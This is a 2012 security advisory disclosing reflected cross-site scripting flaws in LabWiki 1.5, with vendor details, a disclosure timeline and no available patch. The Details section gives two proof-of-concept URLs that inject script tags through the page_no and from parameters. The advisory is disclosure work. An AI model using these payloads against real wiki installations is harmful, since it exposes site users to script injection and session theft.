XSS Vulnerabilities in LabWiki

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Information
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Name :  XSS Vulnerabilities in LabWiki
Software :  LabWiki 1.5 and possibly below.
Vendor Homepage :  http://www.bioinformatics.org/phplabware/labwiki/index.php
Vulnerability Type :  Cross-Site Scripting
Severity :  Critical
Researcher :  Canberk Bolat
Advisory Reference :  NS-12-008

Description
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This wiki is powered by Qwiki Wiki, a minimalist PHP wiki engine
originally developed by David Barrett, that uses plain text files to
store data. The 'engine' is used to edit the data as well as to format
it and present it as a web page. Significant modifications were done
to the codes of this wiki for bugs and enhancements (XHTML compliance,
UTF-8 encoding, backup maintainance, page deletion, etc.) by Santosh
Patnaik (SP) who also largely seeded the wiki with new and old
(non-wiki) documents.

Details
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LabWiki is affected by XSS vulnerabilities in version 1.5. Example PoC
urls are as follows :

http://example.com/recentchanges.php?page_no='"--></style></script><script>alert(0x00039E)</script>&nothing=nothing
http://example.com/index.php?page=What_is_wiki&from='"--></style></script><script>alert(0x0001C7)</script>

You can read the full article about Cross-Site Scripting vulnerability
from here :

Cross-site Scripting: http://www.mavitunasecurity.com/crosssite-scripting-xss/

Solution
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No patch released.

Advisory Timeline
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15/11/2011 - First contact: No response
01/01/2012 - Second contact: No response
22/08/2012 - Advisory Released

Credits
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It has been discovered on testing of Netsparker, Web Application
Security Scanner - http://www.mavitunasecurity.com/netsparker/.

References
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MSL Advisory Link :
http://www.mavitunasecurity.com/xss-vulnerabilities-in-labwiki/
Netsparker Advisories : http://www.mavitunasecurity.com/netsparker-advisories/

About Netsparker
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